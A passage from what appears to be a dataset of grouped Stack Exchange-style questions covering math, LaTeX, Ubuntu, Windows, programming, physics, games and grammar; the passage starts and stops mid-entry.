os.listdir(folderPath): fullpath = os.path.join(folderPath, filename) if os.path.isfile(fullpath): basename, extension = os.path.splitext(fullpath) if extension.lower() == \".mxd\": mxd = arcpy.mapping.MapDocument(fullpath) mxd.relativePaths = 'True' mxd.save() del mxd", "Which answer is correct? Tony _______to have children until his little daughter was born. After she won his heart, he decided he wanted a big family. A. didn't want. B. hadn't wanted. This is a multiple choice question from the Understanding and Using English Grammar Workbook 3rd edition by Betty Azar. To me, both answers are correct as I cannot see the diffrence. Please show me the wrong option to delete." ]

[ "Beamer consists of multiple frame layouts", "Continuous and bounded variation does not imply absolutely continuous", "What should be done when no more Pokemon can be caught? (when full storage) It seems that I can buy 50 more slots using 200 coins, but what if I keep on getting more and more common Pokemons such as Pidgey or Rattata, then the slots will be full again. Right now, I am sorting by CP (Combat Power) and then \"Transfer\" the lowest CP Pokemons to the Professor (to give it away), but wonder what is a good or better way to handle this? (For example, can I combine several Pidgey into one?)", "Pluralization issue on new question statistics underneath title, with views It looks like the new question statistics underneath the question title introduced a pluralization issue with views: To be clear here, this was not an issue with the old sidebar-based question statistics; that used to properly say \"viewed 1 time\".", "Is there a visual web editor based on bootstrap? Bootstrap is a great framework, and I want know if there is a tool that gives you the possibility of dragging html components, re-sizing and moving them, changing colours, all while generating the bootstrap html code. I don't want to use Dreamweaver because you need to go and add classes and IDs to the html, which could be a pain sometimes.", "Best way to center a on a page vertically and horizontally? Best way to center a <div> element on a page both vertically and horizontally? I know that margin-left: auto; margin-right: auto; will center on the horizontal, but what is the best way to do it vertically, too?", "How exactly to compute the ridge regression penalty parameter given the constraint? The accepted answer in does a great job of showing that there is a one-to-one correspondence between $c$ and $\\lambda$ in the two formulations of the ridge regression: $$ \\underset{\\beta}{min}(y-X\\beta)^T(y-X\\beta) + \\lambda\\beta^T\\beta $$ and $$ \\underset{\\beta}{min}(y-X\\beta)^T(y-X\\beta) \\text{ s.t. }\\beta^T\\beta\\leq{c} $$ The linked answer shows this in the orthogonal case. In a general (non-orthogonal case), how can I compute $\\lambda$ from $c$? Update Here is an answer for going from $\\lambda$ to $c$: Assuming that the coefs are constrained by the penalty, $$ \\beta^T\\beta = c $$ and $$ \\beta = (X^TX + \\lambda I)^{-1}X^Ty\\\\ \\beta^T\\beta = c = \\beta^T(X^TX + \\lambda I)^{-1}X^Ty $$ Still working on going the other way", "Why can't two series-connected diodes act as a BJT? Another form of the question is: will joining two diodes with wires (pn-np) make a transistor-equivalent? I read that they are not equivalent, but why?", "I'm developing a PHP application and I'm wondering about the best way to include multi-language support for users in other countries. I'm proficient with PHP but have never developed anything with support for other languages. I was thinking of putting the language into a PHP file with constants, example: en.php could contain: define('HZ_DB_CONN_ERR', 'There was an error connecting to the database.'); and fr.php could contain: define('HZ_DB_CONN_ERR', 'whatever the french is for the above...'); I could then call a function and automatically have the correct language passed in. hz_die('HZ_DB_CONN_ERR', $this); Is this a good way of going about it? -- morristhebear.", "How do you calculate this limit $\\lim_{n\\to\\infty}\\sum_{k=1}^{n} \\frac{k}{n^2+k^2}$? How to find the value of $\\lim_{n\\to\\infty}S(n)$, where $S(n)$ is given by $$S(n)=\\displaystyle\\sum_{k=1}^{n} \\dfrac{k}{n^2+k^2}$$ is unable to calculate it. This is a question from a questions booklet, and the options for the answer are-- $\\begin{align} &A) \\dfrac{\\pi}{2} \\\\ &B) \\log 2 \\\\ &C) \\dfrac{\\pi}{4} \\\\ &D) \\dfrac{1}{2} \\log 2 \\end{align}$", "Suppose $f$ and $g$ are entire functions, and $|f(z)| \\leq |g(z)|$ for all $z \\in \\mathbb{C}$, Prove that $f(z)=cg(z)$. My try : I consider $h(z)=\\frac{f(z)}{g(z)}$. If I prove that $h(z)$ is entire, using the fact that $|h(z)|\\leq 1$, the result follows immediately from Liouville's theorem. To prove that $h(z)$ is entire, I have to prove that $h(z)$ has removable singularities at possible zeros of $g(z)$. Suppose $g(z_0)=0 \\Rightarrow |g(z_0)|=0 \\Rightarrow |f(z_0)|=0$, BUT what if $z_0$ be a root of of order $k$ of $g(z)$ (i.e. $f^{(n)}(z_0) = 0 $ for all $ 0 \\leq n \\leq k-1$) and be a zero of order $m$ of $f(z)$ and $k>m$ ? And if that's not the case, how to rigorously show that $z_0$ is a removable singularity ? Thank you all in advance.", "Use of pizza stone in gas oven I have a new gas kitchen stove. The oven seems to burn so easily. I have a thermometer in there and it is registering the temp that I have the oven set on. I have seen where people have used a pizza stone to even out the heat. I want to know if you place a rectangle pizza stone directly on the bottom of the oven or should it be placed on a rack on the lowest setting? I would appreciate replies from anyone who has used this and if it had helped the problem", "Why use a ReentrantLock if one can use synchronized(this)?", "Let $X=(0,1]$ and $d(x,y)=\\left|\\frac{1}{x}-\\frac{1}{y}\\right|$. I've proven $(X,d)$ is a metric space but I don't know how to show its completeness. How can I do that?", "Proving that either $2^n-1 $ or $ 2^n+1$ is not prime", "Why are .goutputstream-xxxxx files created in home folder? I find a lot of files with names of the like .goutputstream-xxxxx where xxxxx are some alphanumeric characters. Here is a screenshot of the home folder Any idea why I should keep these or can I remove and also stop further creation?", "The + vowel letter I've been told that when \"the\" is proceeded by a vowel sound, like \"apple\" or \"hour\", it's pronounced as \"thee\" and not as \"thu\". But after listening to a couple of songs, I noticed that sometimes this \"rule\" is not followed. Take for example the two Katy Perry's songs, \"Roar\" and \"The one that got away\". In the first she sings \"I got thee eye of thu tiger\", but in the second she sings \"Thu one that got away\". I don't know if it was sang this way to better suit the song melody (I understand nothing about those techniques), but I got confused. What's the correct pronunciation? Thanks in advance.", "Rings and some of their properties So I am studying for an exam and was wondering if anyone could explain some of the reasoning being the proofs of the following properties: Let R be a ring with $a,b\\in R$. Then $a0=0a=0$ $a(-b)=(-a)b=-ab$ $(-a)(-b)=ab$ Proof 1: $a0=a(0+0)=a0+a0$ hence $a0=0$ I don't really understand why $a0+a0$ proves that $a0=0$", "I'm making a mini game (bomb squad) and the armor needs to be enchanted. I know that armor can be enchanted through command blocks and that is what I intend to do. I am wondering if it is possible to enchant armor twice in one command block or should I need multiple command blocks as I have done in the past?", "Dispose or Recycle Hard Drive I have 3 old 3.5\" internal hard drives sitting gathering dust at the moment. 2 are SATA, and one IDE. I want to either start putting them to use, or dispose of them to clear up some space. What is the best approach towards disposing of the drives in terms of thoroughly cleaning the contents before throwing away or selling? Are there any recommendations for good software to use to do this? Are there any 100% successful methods which result in having a usable drive at the end?" ]

[ "Is RSA key size the size of private key exponent? I have implemented a key pair generation scheme for RSA algorithm. I have taken the length of private key exponent as RSA key size, but then I've got to know that RSA key size is the size of the modulus $n$. Is it wrong to take RSA key size as the size of the private key exponent? To generate a private key of 1024 bits, I increase the size of private key exponent regardless the modulus $n$.", "inputenc Error: Unicode char \\u8: not set up for use with LaTeX This is with ref to my previous question . \\documentclass[11pt,table,a4paper]{article} \\usepackage{lmodern} \\usepackage[utf8]{inputenc} \\usepackage[T1]{fontenc} \\usepackage{CJKutf8} \\usepackage[english,russian]{babel} \\newenvironment{SChinese}{% \\CJKfamily{gbsn}% \\CJKtilde \\CJKnospace}{} \\begin{document} \\selectlanguage{russian} Это мой первый многоязычный докладе. Инфантильный гипертрофический стеноз привратника - это серьёзное \\selectlanguage{english} This is my first multilingual report. \\begin{CJK}{UTF8}{} \\begin{SChinese} 这是我的第一个多语种的报告。 \\end{SChinese} \\end{CJK} \\end{document} when I try to compile it, I get following error message. LaTeX Warning: Unused global option(s): [table]. (./data.aux (/usr/local/texlive/2011/texmf-dist/tex/latex/cyrillic/t2acmr.fd)) (/usr/local/texlive/2011/texmf-dist/tex/latex/lm/t1lmr.fd) LaTeX Font Warning: Font shape `T2A/lmr/m/n' undefined (Font) using `T2A/cmr/m/n' instead on input line 15. ! Package inputenc Error: Unicode char \\u8:  not set up for use with LaTeX. See the inputenc package documentation for explanation. Type H <return> for immediate help. ... l.18 ...�ный гипертрофический стеноз привра... How can I avoid such error message.", "I know what you're thinking: \"of course it has, for example, it can be used to tell you how many times you can go around a circle\". But that isn't really true, now is it? You'd be dead or the world would go under long before an infinite amount of loops had been reached. Are there any practical applications for the concept of infinity? Is it a useful concept in maths at all? I know that Donald E. Knuth has argued that for all practical purposes, a very, very large number has the same effect as infinity, in his book \"Things a Computer Scientist Rarely Talks About\" (can't remember the exact quote, nor find it online, unfortunately). Examples are appreciated.", "Delete all lines in Notepad++ except lines containing a word I need?", "Can you save an image with a white background as a transparent image out of Photoshop?", "I am looking for a step by step instruction to guide me in the ways of installing, configuring and debugging many of the issues new users have when dealing with Wine in Ubuntu. What is the recommended way of installing Wine, some of the key issues that it has and how to solve them? If I have a specific problem with an App in Wine, how do I go about solving it? What are the recommended steps to ensure that I can fix a problem related to an app I wish to use?", "Reward for Passing Review tests? Just wanted to see what the community thought of adding a reward to passing the review tests? Maybe a 1 point reward? I know seeing the tests in the review area has helped me be extra careful when reviewing, but I thought perhaps a little boost in incentive would be cool.", "Can Java's NullPointerException be changed to report on which variable was null?", "OpenSSL and error in reading openssl.conf file", "Ubuntu software not showing any software", "Persistent live drive with a partition for persistence There are some web sites describing new tools new features in [new versions of] old tools that can create a persistent live drive from an iso file with Ubuntu 19.10 and the corresponding Ubuntu family flavours. Why and how does it work? How is it different from earlier methods for persistent live drives? Isn't live the default for a cloned drive?", "Powershell Rename Multiple Files with LastWriteTime Prefix I am trying to put together a Powershell script that will: -Search recursively from a root directory -Exclude files with existing \"yyyyMMdd \" file name prefix -Rename the files not excluded above with \"\"yyyyMMdd \" file name prefix based on their specific LastWriteTime Note: ideally, this script should include all file type extensions I have tried myself, but it would seem to be above my head, as my attempts are not going well. Thanks, in advance. #StampMe.ps1 param( [string] $fileName) # Check the file exists if (-not(Test-Path $fileName)) {break} # Display the original name \"Original filename: $fileName\" $fileObj = get-item $fileName # Get the date $DateStamp = get-date -uformat \"%Y-%m-%d@%H-%M-%S\" $extOnly = $fileObj.extension if ($extOnly.length -eq 0) { $nameOnly = $fileObj.Name rename-item \"$fileObj\" \"$nameOnly-$DateStamp\" } else { $nameOnly = $fileObj.Name.Replace( $fileObj.Extension,'') rename-item \"$fileName\" \"$nameOnly-$DateStamp$extOnly\" } # Display the new name \"New filename: $nameOnly-$DateStamp$extOnly\" I am hoping to change the line: $DateStamp = get-date -uformat \"%Y-%m-%d@%H-%M-%S\" To be LastWriteTime instead of get-date, but I have no idea how to make this happen. This code (from another Super User question): Get-ChildItem \"Test.pdf\" | Rename-Item -newname {$_.LastWriteTime.toString(\"yyyyMMdd\") + \" Test.pdf\"} ...successfully renames a single file, but I can't seem to integrate this into the larger script. With regards to running the above recursively, I have tried this (also from ): foreach ($file in get-ChildItem *.* -recurse) { ./StampMe.ps1 $file.name } Which succeeds to apply the PS script to files in the root directory, but fails to apply to any files in the sub-folder tree that propagates from the root directory.", "There is a polynomial $f$ of integer coefficients such that $\\deg(f) \\geq 4$. Let's assume that there are four integers $a,b,c,d$ for which $f(a)=f(b)=f(c)=f(d)=5$. Prove that there is no integer $k$ for which $f(k)=8$ - I'd like to have a full explanation to solution.", "Stopping all automatic updates Windows 10 We've upgraded some machines to Windows 10 and realized there were some updates which updated as required. However, I realized there was no option available to stop the download similar to that on Windows 7 and 8.1. The only way I could stop the download was to stop the Windows Update service. My question is does anyone know of a way to stop auto updates or is stopping the service is the only solution?", "On the Stack Overflow help center article about review queues, , it says on the bottom: Note: These two queues do not exist on Meta sites. But there are Late Answer and First Posts review queues on Meta Stack Overflow, as far as the says. So shouldn't that last sentence be removed?", "How to remove Open CTI VF softphone page from salesforce left side Open CTI Softphone VF page is showing in salesforce left side. How to remove this ? Screenshot attached", "Can negative levels get rid of racial HD? What happens when one is affected by something such as energy drain, and permanently loses levels when one only has racial HD? Does the victim of the spell die? Or do they permanently lose racial HD?", "Has user testing found that the \"three horizontal bars\" for main menu on mobile is commonly understood?", "Bounties broken network-wide", "I recently upgraded to Windows 8 from Win 7 64 bit and have started to encounter a strange issue. When I have any program running which plays sound, such as a game or spotify, after a random interval (usually around 5-10 minutes) the program sound will set itself really low. If I Alt-Tab to the desktop and check the Mixer I can see that the Application volume has automatically set itself really low - the other volume levels (i.e. the Device speakers) stay the same. I'm able to just set the application volume back to a reasonable level and it stays that way for another 5 - 10 minutes then goes quiet again. My sound is Realtek High Definition Audio and my machine is an Acer Aspire 5738G if that helps in any way. Any help much appreciated!" ]

[ "I've recently installed Ubuntu on Oracle's Virtualbox. Now I want to install the guest additions. I started up my Ubuntu guest OS, clicked \"Devices\" and chose \"Install Guest Additions\". Nothing happened, and I don't see the CD icon on my desktop. How can I make this work?", "How do I access a page's HTTP response headers via JavaScript? Related to , which was modified to ask about accessing two specific HTTP headers. Related:", "A Big fancy \"Q\" One time I remember seeing a Q ligature in \\setmainfont{EB Garamond} (fontspec, EB Garamond, etc.) that involved a wonderful long swash. Now I don't know how to get it. Contrary to most other questions in this topic, how do I force this big Q? Here's a (not too) minimal working example: \\documentclass{article} \\usepackage[margin=0.9in]{geometry} \\usepackage{microtype} \\usepackage{fontspec} \\usepackage{xspace} \\defaultfontfeatures{SmallCapsFeatures={Renderer=Basic}} %\\setmainfont{EB Garamond} \\usepackage{multicol} \\def\\cm#1{\\relax} \\newcommand{\\qsec}[1]{{\\mbox{}\\hfill\\scshape #1}} \\newenvironment{qset}[1]{ \\mbox{}\\\\\\qsec{#1}\\par\\begin{multicols}{2} }{ \\end{multicols} } \\newcommand{\\q}[2]{{\\em #1} #2\\xspace} %\\def\\q#1#2{{{\\em #1} #2\\xspace}} \\begin{document} \\fontsize{11pt}{14pt}\\selectfont \\fontspec[Ligatures={Required,Common,Contextual,Discretionary,TeX},Style=Alternate]{EB Garamond} \\noindent\\mbox{Simon Kuang}\\hfill\\mbox{\\today} \\centerline{\\emph{Oedipus Rex} Study Guide Questions} \\begin{qset} {First Episode --- Oedipus, Chorus, and Tiresias} \\noindent \\q{Explain the following ironies in Oedipus's speech (218--220; 236--248; 249--251; 259--265).}{Que is.} \\end{qset} \\end{document}", "Show $R \\setminus S$ is a union of prime ideals I'm stuck on the following question: Let $R$ be a commutative ring with $1$, and $S \\subseteq R$ a saturated multiplicative set (that is, $1 \\in S$ and $x, y \\in S$ if and only if $xy \\in S$). Show that $R \\setminus S$ is a union of prime ideals. Here's my attempt so far. If $a \\in R \\setminus S$, then the ideal $Ra$ does not intersect $S$, because if $ra$ were in $S$ for some $r \\in R$, then $a$ would have to be in $S$. Thus, it follows by Zorn's lemma that there exist ideals $I$ of $R$ which are maximal with respect to the property that $I \\cap S = \\emptyset$. Let $I$ be any such ideal. If I can show that $I$ is prime, the conclusion will follow. Let $xy \\in I$. I want to show that $x$ or $y$ is in $I$. Suppose $x \\not\\in I$. Then $I + Rx$ intersects $S$, so there exists $s \\in S, a \\in I, r \\in R$ such that $s = a + rx$. Then $sy = ay + rxy \\in I$, so $sy$, and hence $y$, cannot be in $S$. Similarly if $y$ is not in $I$, then $x \\not\\in S$. So we are reduced to proving the following is impossible: $xy \\in I$, $x$ and $y$ are not in $S$, but they aren't in $I$ either.", "Which colors make you hungry I am working on a new brand, which is all about food. What colors should we use for the logo and website? I keep reading that red makes you hungry, but i would like to stay away from that color. All of our competitors must have read the same articles.", "Equivalent Rotation using Baker-Campbell-Hausdorff relation Is there a way in which one can use the BCH relation to find the equivalent angle and the axis for two rotations? I am aware that one can do it in a precise way using Euler Angles but I was wondering whether we can use just the algebra of the rotation group to perform the same computation?", "Can I backup my entire Ubuntu installation to ISO DVD?", "I keep reading about ('PPAs') and people answer questions with a link to a PPA. What's the best way to use these? There are multiple valid answers for this question spanning over several versions of Ubuntu. For your convenience, an index of each is below.", "It is will known that increasing cooling of a metal casting will lead to finer micro-structure which mean higher mechanical properties. If I have 2 molds one is thick copper die ,& second is just thin-walled copper cup or mold cooled by water. which one of them excepted to cool the molten metal i.e. aluminium faster ? by calculation it seems that copper die have higher cooling power as it has higher thermal diffusivity , but in real life it seems water have more cooling power. I am so confused.", "The generic off-topic flag reason has different wording in the Android app", "A ring without the Invariant Basis Number property", "It seems Microsoft has tried to solve this problem . In Windows 7, there is no boundary between monitors and the mouse can move freely across the top of the screen between my 3 monitors, provided I had set their heights equal in display settings. Windows 8 introduced sticky corners. See . Windows 10 got sticky corners as well. There are a few pixels at the top corners of each display where the mouse cannot cross over onto the other display. One must move the cursor down to avoid this region in order to get to the next display. The image shows roughly the region where mouse movement is not permitted in Windows 10, but is allowed in Windows 7. Personally, I had no problem with unrestricted mouse movement across the top of my screens - I got used to \"aiming\" for the x, and the convenience of unrestricted cursor movement. Like all the people who wanted to disable it in W8, I'm wondering if there is a way to disable it in W10. Edit to address possible duplicate: Although the problem is identical to the one in , solutions to solve the problem in W8 involving editing the registry key MouseCornerClipLength do not work in W10, since that registry key is not present in W10. Also adding that key and setting the value doesn't work. I searched the entire registry and couldn't find it in another location. No other W10 keys in the node referenced in the W8 solution are obvious replacements. Edit to address possible solutions in comments harrymc's and that worked for for Windows 8.1 do not work in Windows 10.", "I can show this best by a picture: This cross also shows when I export it as raster or pdf. What is it and how can I get rid of it? I am using Qgis 2.4 and the map was done with the help of the Grass plugin AniMove on Linux Mint.", "Is there a clever solution to Arnold's \"merchant problem\"? There is a problem that appears in . The problem is also quoted . You take a spoon of wine from a barrel of wine, and you put it into your cup of tea. Then you return a spoon of the (nonuniform!) mixture of tea from your cup to the barrel. Now you have some foreign substance (wine) in the cup and some foreign substance (tea) in the barrel. Which is larger: the quantity of wine in the cup or the quantity of tea in the barrel at the end of your manipulations? Here's my solution: The key is to consider the proportions of wine and tea in the second spoonful (that is, the spoonful of the nonuniform mixture that is transported from the cup to the barrel). Let $s$ be the volume of a spoonful and $c$ be the volume of a cup. The quantity of wine in this second spoonful is $\\frac{s}{s+c}\\cdot s$ and the quantity of tea in this spoonful is $\\frac{c}{s+c}\\cdot s$. Then the quantity of wine left in the cup is $$s-\\frac{s^2}{s+c}=\\frac{sc}{s+c}$$ and the quantity of tea in the barrel now is also $\\frac{cs}{s+c}.$ So the quantities that we are asked to compare are the same. However, Arnol'd also says Children five to six years old like them very much and are able to solve them, but they may be too difficult for university graduates, who are spoiled by formal mathematical training. Given the simple nature of the solution, I'm going to guess that there is a trick to it. How would a six year old solve this problem? My university education is interfering with my thinking.", "For what longest possible time it was possible to hold light in a closed volume with mirrored walls? I would be most interested for results with empty volume but results with solid-state volume may be also interesting.", "Can I perform a DNS lookup (hostname to IP address) using client-side Javascript?", "What formula would you use to add up a column based on results from two drop down menus?", "Prove that $\\lfloor\\lfloor x/2 \\rfloor / 2 \\rfloor = \\lfloor x/4 \\rfloor$", "Have we completed Diablo 3 in 9 hours? My friend and i decided to play some Diablo 3. We played for almost 9 hours straight and killed Diablo on the hard difficult. We reached level 41. We think 9 hours is short for a game like Diablo 3. Have we missed something? Why are we only level 41? Is there more story?", "Controlling colors of points in ListPlot" ]

[ "If string is stretched just by weight, where does the gravitational potential energy goes if only half is converted to elastic potential energy? If a spring is stretched by a weight of mass m, (so the extension is $\\Delta x$) then $ k = \\frac W{\\Delta x} = \\frac {mg}{\\Delta x}$. So $ k\\Delta x= mg $. When the Spring is stretched by distance $\\Delta x$ (by the weight) then it looses gravitational potential enegry. ($ \\Delta GPE= mg\\Delta x$) But, when we calculate the change in elastic potential energy, We get $ U = \\frac 12 k(\\Delta x)^2 $. Since $ k\\Delta x = mg$, $U=\\frac 12 mg\\Delta x$ At, equilibrium we have no kinetic energy $E_k = 0$ Doesn't that violate Energy Conservation? Where does the rest of lost GPE goes? Here's a illustration", "Seeking open raw LiDAR or laser scanner data?", "In the search results of stackexchange.com/search?q=*, allow people to click on a tag and go to that website with the tag page open. For example, shows me this: But clicking on the hovered-on tag takes me to and the panda. Instead, it should take me to The math.SE URL is already there in /#question-summary-608993 > div.summary > div.started.fr > a #question-summary-608993 > div.hot-question-site-icon > a", "Exponent and abelian groups", "This looks like a question asked , but it isn't. $$T(n)=\\begin{cases} T (\\sqrt{n}) + 1 \\quad & \\text{ if } n>1 \\\\ 1 & \\text{ if }n=1\\end{cases}$$ My professor gave this to me in class yesterday. This is where I'm stuck: $$T(n) = T(n^{1/2})+1 = T(n^{1/4})+2 = T(n^{1/8})+3 = \\dots = T(n^{1/ 2 ^k})+k$$ Now this will continue till $$n^{1/ 2 ^k}=1$$ How do I proceed ahead? If I take log on both sides, then RHS becomes zero. How do I solve the relation? I don't want to use the Master theorem, I want to know where and why am I stuck.", "How do I disable updating a form in Windows Forms? During a complicated update I might prefer to display all the changes at once. I know there is a method that allows me to do this, but what is it?", "I need to implement the following circuit in LTSpice but I don't know if my schematic is ok. Also, I don't know what values for I should use for Cinf and R2. The following constraints are imposed: VCC= 10V VCM = 1.5V Vgis a sine wave with a frequency of 1 kHz. Its amplitude will be chosen so as to ensure minimal distortion of the output signal (i.e. v0 should also be a sine wave) R1= 15kΩ. I need to choose a value for R2 and Cinf in order to have a (theoretical)gain value Av=1500. How can I compute the theoretical expressions of the DC collector currents of bipolar transistors Q1–Q8, considering VBE≈ 0.6V and the theoretical expression of the small-signal voltage gain Av= vo/vg? The first picture is the schematic and the second is the LTSpice implementation. What I found is that: ICq5=ICq6=ICq7=ICq8=(Vcc - Vbe)/R2 ICq1=ICq2 = [ICq7 / 2 ] * [Beta/(Beta+1)] ICq4=iCq2-current of Q5 ICq3=ICq1-current of Q3-current of Q4 Beta in my case is 182.1 because I'm using a BC847A transistor. A=Vo/Vg = Gm_q2 * Beta_q5 * R1Gm_q2=ICq2 / Vt that is approx 40*ICq2 How can I find the value of R2? This is what I have now, an sine like wave for Vg", "Merging dictionaries in C# What's the best way to merge 2 or more dictionaries (Dictionary<T1,T2>) in C#? (3.0 features like LINQ are fine). I'm thinking of a method signature along the lines of: public static Dictionary<TKey,TValue> Merge<TKey,TValue>(Dictionary<TKey,TValue>[] dictionaries); or public static Dictionary<TKey,TValue> Merge<TKey,TValue>(IEnumerable<Dictionary<TKey,TValue>> dictionaries); EDIT: Got a cool solution from JaredPar and Jon Skeet, but I was thinking of something that handles duplicate keys. In case of collision, it doesn't matter which value is saved to the dict as long as it's consistent.", "I have this MySQL query: SELECT DAYOFYEAR(`date`) AS d, COUNT(*) FROM `orders` WHERE `hasPaid` > 0 GROUP BY d ORDER BY d Which returns something like this: d | COUNT(*) | 20 | 5 | 21 | 7 | 22 | 12 | 23 | 4 | What I'd really like is another column on the end to show the running total: d | COUNT(*) | ??? | 20 | 5 | 5 | 21 | 7 | 12 | 22 | 12 | 24 | 23 | 4 | 28 | Is this possible?", "Python Implementation of Track-to/aim constraint", "Debian 10 systemd, how to disable autostart of graphical environments I installed a graphical environment on a server and I have decided that I no longer want to run that environment at boot. How can I disable it with systemd? This is gnome desktop environment.", "cat file : prints prior to \"user :/\" prompt", "What's the difference between convolution and crosscorrelation? What's the difference between convolution and crosscorrelation? So why do you use '-' for convolution and '+' for crosscorrelation? Why do we need the \"time reversal on one of the inputs\" when doing convolution?", "I was shooting the lighting of the city that is visible at the top of the trees if you shoot landscape. No matter what I do, the image is blurry. What have i done: ISO 100 Manual focus towards infinity Using a tripod Using really sharp prime & good camera Basically, everything I could. The only example i have is here, but it is not good, because image is underexposed: The main question: Why can't night photographs be as sharp as daily photographs (with approperiate exposure times of course)?", "Is GTA Online cross-platform? Grand Theft Auto Online exists on five different platforms: XBox 360, PS3, XBox One, PS4, and PC. Do any of these play on the same servers, allowing people on differing platforms to play together?", "Output two sided, but only on recto page -- occasional images on verso I am preparing a thesis. In order to reduce the number of physical sheets of paper, I need to print certain figures/tables on the verso side. However the university regs state that, while figs/tables may appear on the verso, the body text must appear on the recto side. I would like to therefore output the vast bulk of the work on the recto page, but with occasional verso pages. Ideally they would be numbered as a \"subpage\" of the preceeding recto page (e.g. 131, 131a, 132...) or similar. The approach which I will tentatively adopt is to use a \"twoside\" flag, then have \"empty\" and non-numbered verso pages until a page with content is required. I'm sure I'm not the first person to have had a similar issue, but am unable to imagine other ways of posing the question.", "a) There's a radially symmetric charge density $\\rho(r)$ centered around the origin. Determine the dipolemoment of that charge density. b) Let $\\rho(r)$ be an arbitrary charge density now. Under what circumstances does the dipole moment of the displaced charge density $\\rho '(\\vec{r}) = \\rho (\\vec{r}-\\vec{b})$ differ from the one not displaced at all. Here were my ideas so far: a) Just thinking about the situation it has to be zero, right? I mean, since there's no real dipole. But how do I show that mathematically? I was thinking of just going like this (it may be wrong): Let the charge density be $\\rho (r)=kr$, then we can get the charge q by integrating: $$q=4\\pi \\int_0^R kr\\cdot r^2dr=\\pi k R^4$$ I'm looking at the charge distribution as a spherical electron cloud with radius $R$. Then, since $p=qd$ and $d$ is zero because there are no two different charges the dipole moment is zero. Is that sufficient as an answer? b) I don't know how to approach this one. My guess is that its dipole moment is also zero because we're only looking at a displacement here. Anyone got any idea? I would appreciate any advice on this.", "Zooming in to a selection of vertices with the period key does not work as expected I am following through the exercises in BlenderBasics_4thEdition2011.pdf and have gotten to the section on texturing. The book goes through the creation of a Lighthouse and now I am texturing it. I want to have a closeup view of the roof of the lighthouse after partitioning it as the lesson describes on page 54. In order to get a close up view I selected the roof and want to center the screen on the vertices of it so I pressed the Numpad . key. When I do that the view zooms so that the roof is off the screen. What am I am doing wrong? I tried Ray's answer and was able to move the origin but pressing the Numpad . key still did not work. The centering was still on the bottom of the lighthouse, as if the origin was still there.", "For multiple OTP keys, why not do this: Key = Hash[(EC)DH Shared Secret + Counter] The counter will increase per message, and the output of the hash will be random for each new unique input into it. What are the problems or weaknesses with this design?? EDIT: For clarification: both parties will have the shared secret from an ECDH exchange, random numbers from Pythons os.urandom for generating the ECC key", "I can't find my bin folder. Where is it located? The other day I was trying to download something for Minecraft and it involved my bin folder. So I was looking for it and couldn't find it. I then thought that I might have accidentally deleted it, but didn't find it in the trash. I have no idea how to get the bin folder back with all the Minecraft binary files in them." ]

[ "If the universe is expanding, what is it expanding into? If the universe is expanding, what is it expanding into? When the big bang happened where did it occur? When the big bang happened how did it occur? Where did the energy come from? Energy can not be created or destroyed does that mean, energy has existed before the universe was here?", "Is any particular punctuation necessary when a quotation is the subject of a sentence? For example, in the sentence below, should there be a comma after export? Or anything else? \"Laughter is America's most important export\" is a well-known quote of Walt Disney's.", "So I tried a few different answers that I found here, and I feel that this is possibly a duplicate question, but everything I have tried from the other solutions hasn't worked. Basically I am trying to bake a material to a texture that will be used in Unity, but every test gives me a black background image. In the image below, the top image texture is the mask (black and white, white being the leaves), and the bottom image texture is the colour.", "I currently have an ec2 "t2.nano" instance up and running. I would like to switch to a "t2.micro". In order to do that, I need to stop the instance. But I would lose my IPv4 address in the process. And I do not want that (because I have several ssh tunnels up and running from rasps in the wild that are currently hard coded to connect to this IPv4 address). I decided to create an Elastic IP address. But I understand that by creating an Elastic IP address and assigning it to my current ec2 instance, I would lose my current IPv4 address too. Is it possible to create an Elastic IP address from the current IPv4 address of my ec2 instance? If so, how can I do this operation?", "Of course when you type: sudo apt-get install whatever It asks you: Do you want to continue [Y/n]? Is there any way I can just install it without it asking me if I want to continue? I don't really care about space, I have more then enough.", "I am trying to solve: $$\\int_{-\\infty}^{\\infty}\\frac{x\\sin{x}}{x^2 + a^2}dx$$ and show that it equals $\\pi e^{-a}$ for all $a > 0$. I translate it to its complex equivalent: $$lim_{R \\rightarrow \\infty} \\int_{-R}^{R}\\frac{z\\sin{z}}{z^2 + a^2}dz = \\int_{C}\\frac{z\\sin{z}}{z^2 + a^2}dz - \\int_{\\gamma}\\frac{z\\sin{z}}{z^2 + a^2}dz$$ where C is a half circle with radius R, above the real axis, and $\\gamma$ is only the curved (top part) of the half circle. I've shown that $$\\int_{\\gamma}\\frac{z\\sin{z}}{z^2 + a^2}dz$$ tends to 0 as $R \\rightarrow \\infty$. So now: $$lim_{R \\rightarrow \\infty} \\int_{-R}^{R}\\frac{z\\sin{z}}{z^2 + a^2}dz = \\int_{C}\\frac{z\\sin{z}}{z^2 + a^2}dz$$ By residue theorem, $$\\int_{C}\\frac{z\\sin{z}}{z^2 + a^2}dz = 2\\pi i \\cdot res_{ai}f$$ as $ai$ is the pole of $f$ that lies above the real axis. $$2\\pi i \\cdot res_{ai}f = 2\\pi i \\cdot lim_{z \\rightarrow ai} (z-ai)\\frac{z sin{z}}{z^2 + a^2}$$ By L'Hospital's rule, this is equivalent to: $$2\\pi i \\cdot lim_{z \\rightarrow ai} (z-ai)\\frac{z^2\\cos{z} + 2z\\sin{z} - zai\\cos{z} - ai\\sin{z}}{2z} = 2\\pi i \\cdot \\frac{\\sin{ai}}{2} = \\pi i \\sin{ai}$$ But how is $\\pi i \\sin{ai}$ equivalent to $\\pi e^{-a}$? Did I make a mistake?", "I feel uncomfortable saying sentences like the following: \"I've a car\" instead of \"I have a car\" \"They've a great time\" instead of \"They have a great time\" \"He's a pen\" instead of \"He has a pen\" etc I ask this because I read this sort of thing in a book. Are they correct? And what is the rule? Can you use such forms in a formal setting?", "I am writing a WP plugin. I have created a button for the user to click in thw WP dashboard. I need to run a function when a user clicks the button, shown with a red arrow. The code snippet for the button is:<p><button class=\"button button-primary\">Update Media Titles and ALT Text</button></p>. I have already created the function in my class like so: public function kh_update_media_seo() { //update media files title and alt tags here } I can handle the code that goes in the function alone, I only need help making the button in the WP dashboard fire off this specific function when clicked. Pardon me if this sounds dump or straight forward. It's my first time doing this. My plugin is a one file plugin if that helps.", "Why are low-rep users rate-limited when posting questions? I just encountered the following error: Oops! Your question couldn't be submitted because: users with less than 125 reputation can only post questions every 20 minutes; try again later. Why do you have this rule? Why 20 minutes?", "Bogus float inequality due to compiler optimization?", "Did spacetime start with the Big bang?", "Turn off autocomplete in PhpStorm", "Add leading zeroes to number in Java?", "How to confirm that mail has been delivered or not?", "I have 16GB of system RAM. On startup with no applications open except the task-manager Windows is using about 3gb of RAM. I 